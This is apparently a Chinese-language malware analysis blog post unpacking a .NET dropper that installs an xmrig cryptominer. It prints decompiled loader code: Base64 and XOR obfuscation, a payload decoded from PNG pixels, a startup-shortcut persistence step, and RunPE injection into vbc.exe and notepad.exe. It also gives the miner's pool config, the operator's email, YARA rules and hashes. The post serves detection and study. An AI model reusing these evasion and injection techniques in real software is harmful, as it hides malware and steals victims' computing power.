在几周前,我发现了一个恶意软件样本,并且非常有兴趣对其进行进一步分析。该恶意挖矿软件采取了一种奇特的部署方式,会在主机上创建一个挖矿程序,并将其隐藏在一些合法进程的背后。
在样本运行后,我们使用Process Hacker进程查看工具查看,发现两个奇怪的现象:
1、Visual Basic编译器无故启动;
2、一个奇怪的子进程“Notepad.exe”消耗了大量的CPU。
在观察到异常之后,我非常想知道这两个奇怪进程的背后发生了什么。
本文进行分析的样本,来源地址为:
hxxp[:]//netload[.=trade/ghghdshch130.exe
这是一个.NET应用程序,我们从这个入口点来开始分析:
static void StatusBarPanelCollection(string[] args) {
ToolStripItemEventArgs.ExprVisitorBase().EntryPoint.Invoke(null, null);
}
应用程序启动后,调用的第一个Assembly方法是ExprVisitorBase()。
public static Assembly ExprVisitorBase() {
CSharpCodeProvider csharpCodeProvider = new CSharpCodeProvider();
CompilerResults compilerResults = csharpCodeProvider.CompileAssemblyFromSource(new CompilerParameters
{
IncludeDebugInformation = true,
GenerateExecutable = false,
GenerateInMemory = true,
IncludeDebugInformation = true,
ReferencedAssemblies =
{
string.Format(.POasdIsd("U3lzdGVtLkRyYXdpbmcuZGxs"), new object[0])
},
CompilerOptions = string.Format(.POasdIsd("L29wdGltaXplKyAvcGxhdGZvcm06WDg2IC9kZWJ1ZysgL3RhcmdldDp3aW5leGU="), new object[0])
}, new string[]
{
ToolStripItemEventArgs.SizeSoapParameterAttribute.Replace(string.Format(.POasdIsd("I3Jlc25hbWUj"), new object[0]),
.POasdIsd("ekp5blhVaktUbFpw")).Replace(string.Format(.POasdIsd("I3Bhc3Mj"), new object[0]), .POasdIsd("VVVlb0NvaXBHdVZj"))
});
return compilerResults.CompiledAssembly;
}
这个程序将以编程方式对一些代码进行编译。事实上,在.NET中可以通过可以通过CSharpCodeProvider类访问C#编译器。对CompileAssemblyFromSource的调用是程序集被编译的地方。该方法包含了参数对象(CompilerParameters)和源代码,其类型是一个字符串。
首先,如果我们深入研究CompilerParameters对象,会从配置中发现新程序是一个DLL文件,并且在磁盘上不会有任何痕迹。该DLL文件需要有特殊的引用才能工作,其字符串被混淆,需要以“POasdIsd”来解码。
internal class
{
public static string POasdIsd(string string_0)
{
byte[] bytes = Convert.FromBase64String(string_0);
return Encoding.UTF8.GetString(bytes);
}
}
我们非常容易理解,“POasdIsd”只是一个Base64解码函数,而我们编码的字符串实际上就是“System.Drawing.dll”。所以也就意味着,这个引用是编译源代码所必须的。
如果我们继续分析,它会设置一些编译器参数。在解码后,将会在x86平台的调试模式下进行编译:
/optimize+ /platform:X86 /debug+ /target:winexe
所以现在,我们唯一需要的是源代码,它存储在变量SizeSoapParameterAttribute中。当然,这个变量也被Base64编码混淆,并且使用XOR密钥(5)进行加密。
public static string SizeSoapParameterAttribute =
ToolStripItemEventArgs.ASSEMBLY_FLAGS(
.POasdIsd("cHZsa2IlVnx2c ... D4ID3gPeCUID3g="), 5
);
如果我们在调试器上设置一些断点,就可以以步进的方式,看到生成的C#源代码。
在上述工作完成后,编译过程就完成了。我们可以使用Process Monitor来查看进程的详细信息。
在这个阶段中,DLL被编译并加载到内存中。我们现在无需对其进行提取和反编译,因为我们已经有了它的代码。如果我们对代码进行深入分析,文件中包含着许多冗长混乱、难以理解的代码,但其中主要的类很容易找到。
当我们重命名一些函数时,理解这个库的目标就更为容易了。
private static string xorKey = "UUeoCoipGuVc";
private static byte[] Payload;
...
private static void Main()
{
try
{
IntPtr hResInfo = Program.FindResource(new IntPtr(0), new IntPtr(138), new IntPtr(23));
uint size = Program.SizeofResource(new IntPtr(0), hResInfo);
IntPtr hResData = Program.LoadResource(new IntPtr(0), hResInfo);
IntPtr source = Program.LockResource(hResData);
Program.Payload = new byte[size];
Marshal.Copy(source, Program.Payload, 0, Convert.ToInt32(num));
Program.Payload = Program.XOR(Program.ConvertFromBmp(Program.Byte2Image(Program.Payload)));
Thread thread = new Thread(new ThreadStart(Program.AssemblyLoader));
thread.Start();
}
catch
{
}
}
所以,当其被加载到内存中,它会请求主程序的HTML资源(IntPtr(23)是RT_HTML)。所以,如果我们在DNspy上调试这个DLL,它将会崩溃,原因在于会定位到一个不存在的资源。所以,让我们回到ghghdshch130.exe之中,并检查其中的.rsrc。我们目前得到了一个名为138的文件,138是资源ID。
我们对该文件进行分析,发现这是一个PNG文件,其大小为461*461像素,8位RGBA颜色,使用非隔行扫描。
接下来,我们使用上述的代码,将这个图像转换成一个字节数组,然后再转换成一个图像(位图格式)。在这里,能够使用ConvertFromBmp是这个DLL文件最重要的功能。我们的目标是使用BlockCopy,将Payload的不同部分正确地重组到内存中。因此,它每次会将4个字节大小的缓冲区中的内容,逐像素地复制到正确的目标偏移量之上。
我需要首先理清代码,随后才能够清楚地理解这些步骤。
private static byte[] ConvertFromBmp(Bitmap imageFile) {
int width = imageFile.Width;
int correctSize = width * width * 4;
byte[] correctOffset = new byte[correctSize];
int size = 0;
for (int x = 0; x < width; x++) {
for (int y = 0; y < width; y++) {
Buffer.BlockCopy(BitConverter.GetBytes(imageFile.GetPixel(x, y).ToArgb()), 0, correctOffset, size, 4);
size += 4;
}
}
int finalSize = BitConverter.ToInt32(array, 0);
byte[] XorPayload = new byte[finalSize];
Buffer.BlockCopy(correctOffset, 4, XorPayload, 0, XorPayload.Length);
return XorPayload;
}
现在,我们的Payload几乎已经完成了,它只是使用特定的XOR密钥来实现解密,在我们的样本中,其值为“UUeoCoipGuVc”。
internal class Program
{
private static byte[] XOR(byte[] bytes)
{
byte[] bytes2 = Encoding.Unicode.GetBytes(Program.XorString);
for (int i = 0; i < bytes.Length; i++)
{
int num = i;
bytes[num] ^= bytes2[i % 16];
}
return bytes;
}
当Payload被最终创建时,程序集对象会被加载到一个线程中。
Thread thread = new Thread(new ThreadStart(Program.AssemblyLoader));
thread.Start();
如果我们认为现在已经大功告成,那么显然是错误的。我们再次遇到了加壳和模糊处理。
先暂时不用分析复杂的代码,我们首先注意到资源文件夹中现在有三个文件。
其中的两个文件是XOR加密后的有效载荷,另一个是经过Base64编码后的文本文件字符串。我们试图查看经过混淆的代码,以理解文本文件的作用。实际上,它是一个Manifest资源流(Manifest Resource Stream),是在编译时嵌入在程序集之中的内容。我们编写了一段Python代码,用于查看解码后的内容:
=> python3 manifest.py
...
'RSRCNAME'
'RSRCPWD'
'Dotwall Evaluation'
最后一行非常有趣,因为它揭示了在这一阶段中实际上已经包含了Dotwall,Dotwall是一个.NET混淆器,目前还暂时没有公开发布。
那么,在这个阶段它的目标究竟是什么呢?
首先,它会复制主用户目录中的第一阶段文件,并将新目录保存到内存中,以备将来使用。然后,删除此文件的可选数据流名称Zone.Identifier,以便不让系统察觉到这个恶意软件是从外部网络下载的。
随后,它在Windows启动菜单中,创建一个名为“rTErod.url”的快捷方式文件,指向一个互联网链接,这也就解释了之前为什么要删除Zone.Identifier。
[InternetShortcut]
URL=file:///C:/Users/user/bsdsjdpjcqdpcdq.exe
然后,它会搜索主机上是否存在Visual Basic编译器,并向其中注入资源“rWyMgsOzOKRu”。为了简化程序解密这个文件的过程、不同类之间的全部交互和数百行的代码,我们可以用10行C#源代码进行归纳。
byte[] buffer = File.ReadAllBytes("xplACLWqdLvY"); // Xor Key
byte[] bytes = Encoding.Unicode.GetBytes("rWyMgsOzOKRu"); // Encrypted Payload
for (int i = 0; i < buffer.Length; i++) {
buffer[i] ^= bytes[i % 16];
}
using (var decrypted = new FileStream("decrypted_resource.exe", FileMode.Create, FileAccess.Write)) {
decrypted.Write(bytes, 0, byteArray.Length);
}
其中的程序集名称为“adderalldll”,我们推断与Adderall Protector有关。
经过一些清理后,我们发现该工具通过使用一些反射(Reflection)来实现调用。新的Object类(Adderall)的run()方法在条目中添加了一些其他参数:
@”C:WindowsMicrosoft.NETFrameworkv2.0.50727vbc.exe”
“”
DecryptPayload(cryptedResource) // <= Our Final Unpacked Malware
true
Type Adderall_resource = exportedTypes[pos];
object Adderall = Activator.CreateInstance(Adderall_resource);
vbcPath = @"C:WindowsMicrosoft.NETFrameworkv2.0.50727vbc.exe";
Adderall_resource.InvokeMember("run", BindingFlags.InvokeMethod, null, Adderall, new object[] {
vbcPath,
"",
DecryptPayload(cryptedResource),
true
});
那么,我们接下来具体分析一下adderall.dll。在该文件中,使用了Dotwall混淆,但看起来似乎没有嵌入的Payload资源,里面只是Manifest流文件。这就意味着,我们已经非常接近最终的挖矿恶意软件了!
接下来,我们看看解码后的Manifest里面究竟有些什么:
=> python3 manifest.py
...
'kernel32'
'CreateProcessA'
'kernel32'
'GetThreadContext'
'kernel32'
'Wow64GetThreadContext'
'kernel32'
'SetThreadContext'
'kernel32'
'Wow64SetThreadContext'
'kernel32'
'ReadProcessMemory'
'kernel32'
'WriteProcessMemory'
'ntdll'
'NtUnmapViewOfSection'
'kernel32'
'VirtualAllocEx'
'kernel32'
'ResumeThread'
...
'Dotwall Evaluation'
最后,我们发现,这一阶段的目标是执行一些进程注入,并且进程vbc.exe将部署恶意软件。
到了现在,我们分析的挖矿恶意程序终于被部署了,接下来就是对它进行分析。在这里,我们的第一个发现,就是该恶意程序是采用C/C++开发的。
恶意软件通过IsWow64Process来判断它的运行环境,是在32位还是64位的系统上运行,从而决定它会在哪里进行进程注入:
如果是32位环境,将在wuapp.exe进行注入;
如果是64位环境,将在notepad.exe进行注入。
如下所示,这个样本会在Winrar.exe后面注入notepad.exe,其中Winrar.exe是explorer.exe的一个子进程。
根据命令行来看,似乎在这里有一个xmrig挖矿恶意软件在运行。如果我们直接查看帮助中显示的内容,它们是相同的。
-a, --algo=ALGO cryptonight (default) or cryptonight-lite
-o, --url=URL URL of mining server
-O, --userpass=U:P username:password pair for mining server
-u, --user=USERNAME username for mining server
-p, --pass=PASSWORD password for mining server
-t, --threads=N number of miner threads
...
-c, --config=FILE load a JSON-format configuration file
...
为了确认它是否是这个特定的挖矿恶意软件,我们需要转存基地址0x400000伤的内存:
我们发现,其PE头部被删除,并且采用了UPX的方式进行压缩。
该恶意软件,会针对被感染主机生成特定的xmrig配置文件。首先,恶意软件会配置好矿工池和用户账户。
随后,生成典型的xmrig配置文件,并将其保存到“cfg”和“cfgi”两个文件中。
在我们的样本中,输出配置文件如下:
{{ "algo": "cryptonight", "background": false, "colors": true, "retries": 5, "retry-pause": 5, "syslog": false, "print-time": 60, "av": 0, "safe": false, "cpu-priority": null, "cpu-affinity": null, "threads": 1, "pools": [ { "url": "xmr.pool.minergate.com:45560", "user": "todipacrypto@protonmail.com", "pass": "x", "keepalive": false, "nicehash": false } ], "api": { "port": 0, "access-token": null, "worker-id": null }}
在这一过程中,还采取了措施保证恶意软件的持久性,它创建了一个注册表项,并且会定期检查此项是否仍然存在。
与注册表相链接的可执行文件与矿工配置文件位于同一个文件夹中,并且该可执行文件是一个合法的vbc.exe进程。
如果发现启动,它将判断挖矿程序是否正在执行,如果正在执行,就会关闭notepad.exe进程。此后,只要taskmgr仍然保持启动状态,挖矿程序就不会再次启动。
1、我们得到了一个编译后并已经注入了一个DLL的可执行文件;
2、这个DLL文件会部署另一个可执行文件,该可执行文件隐藏在假PNG文件背后,同样已经注入了第一个Payload;
3、在这个程序中,名为Adderall的DLL被调用,从而允许在RunPE的帮助下将脱壳后的恶意软件部署到Visual Basic编译器中;
4、最后得到的恶意软件将会进行矿工相关的配置,并将xmrig注入到notepad.exe或wuapp.exe之中(取决于操作系统是32位还是64位)。
Xmrig挖矿恶意软件:
rule XmrigMinerMalware {
meta:
description = "Xmrig Miner Malware"
author = "Fumik0_"
date = "2018/05/13"
strings:
$mz = "MZ"
$s1 = "\cfg" wide ascii
$s2 = "\cfgi" wide ascii
$s3 = "\notepad.exe" wide ascii
$s4 = "\wuapp.exe" wide ascii
$s5 = "--show-window" wide ascii
$s6 = "taskmgr.exe" wide ascii
$s7 = "Miner" wide ascii
condition:
$mz at 0 and all of ($s*)
}
Adderall Protector:
rule Adderall {
meta:
description = "Adderall Protector"
author = "Fumik0_"
date = "2018/05/13"
strings:
$mz = "MZ"
$n1 = "#Blob" wide ascii
$n2 = "#GUID" wide ascii
$n3 = "#Strings" wide ascii
$s1 = "adderalldll" wide ascii
condition:
$mz at 0 and (all of ($n*) and $s1)
}
Dotwall Obfuscator:
rule DotWall {
meta:
description = "Dotwall Obfuscator"
author = "Fumik0_"
date = "2018/05/13"
strings:
$mz = "MZ"
$n1 = "#Blob" wide ascii
$n2 = "#GUID" wide ascii
$n3 = "#Strings" wide ascii
$s1 = "RG90d2Fsb" wide ascii
condition:
$mz at 0 and (
all of ($n*) and $s1
)
}
todipacrypto@protomail.com _
517AC5506A5488A1193686F66CB57AD3288C2258C510004EDB2F361B674526CC
AA28AA381B935EB98A6B3DEC4C86E1570EF142B041DB4255445C52A81F57A02F
40F5D5BBC054BA193B3D46BA1AE113AC9C9FCAFDDEC52CF02F82C4A22BF9F15F
0C5FC323873FBE693C1FF860282F035AD447050F8EC37FF2E662D087A949DFC9
7C23DA75BA54998363C4E278488F05588FB4E7D8201CCDAA870DD93F0328B911
BECDCC441E29D518D2258F0718000EBD0848ADB4CEFA00223F386A91FDB11677
这个挖矿恶意软件非常复杂,并且综合使用了各种技术。对该挖矿恶意软件进行分析的过程,是一段非常有挑战性的美好(且头痛)的时光,并且我们充分体会到了逐步突破后的喜悦之感。希望这一连续的分析过程能对大家有所帮助。